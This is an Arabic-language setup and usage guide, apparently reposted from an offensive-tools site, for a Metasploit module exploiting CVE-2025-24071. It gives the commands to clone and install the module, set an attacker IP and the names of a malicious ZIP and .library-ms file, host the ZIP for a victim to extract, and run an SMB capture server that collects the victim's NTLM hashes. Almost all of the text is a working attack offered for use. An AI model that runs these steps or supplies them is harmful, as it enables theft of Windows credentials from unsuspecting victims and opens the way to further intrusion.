CVE-2025-24071-msfvenom

1. استنساخ المستودع:
   root@kitploit:~

   git clone https://github.com/FOLKS-IWD/CVE-2025-24071-msfvenom.git
   cd CVE-2025-24071-msfvenom
   

2. انسخ الوحدة إلى دليل وحدات Metasploit الخاص بك:
   root@kitploit:~

   cp ntlm_hash_leak.rb ~/.msf4/modules/auxiliary/server/
   

الاستخدام

1. قم بتحميل الوحدة:
   root@kitploit:~

   use auxiliary/server/ntlm_hash_leak
   

2. قم بتعيين الخيارات المطلوبة:
   root@kitploit:~

   set ATTACKER_IP 192.168.1.162  # Replace with your IP address
   set FILENAME exploit.zip       # Name of the malicious ZIP file
   set LIBRARY_NAME malicious.library-ms  # Name of the .library-ms file
   set SHARE_NAME shared          # SMB share name
   

3. قم بتشغيل الوحدة :

4. ستقوم الوحدة بإنشاء ملف ZIP خبيث (exploit.zip). قم باستضافة هذا الملف ليتمكن الضحية من تنزيله واستخراجه.
5. استخدم وحدة التقاط SMB من Metasploit لجمع تجزئات NTLM:
   root@kitploit:~

   use auxiliary/server/capture/smb
   set SRVHOST 192.168.1.162  # Same as ATTACKER_IP
   run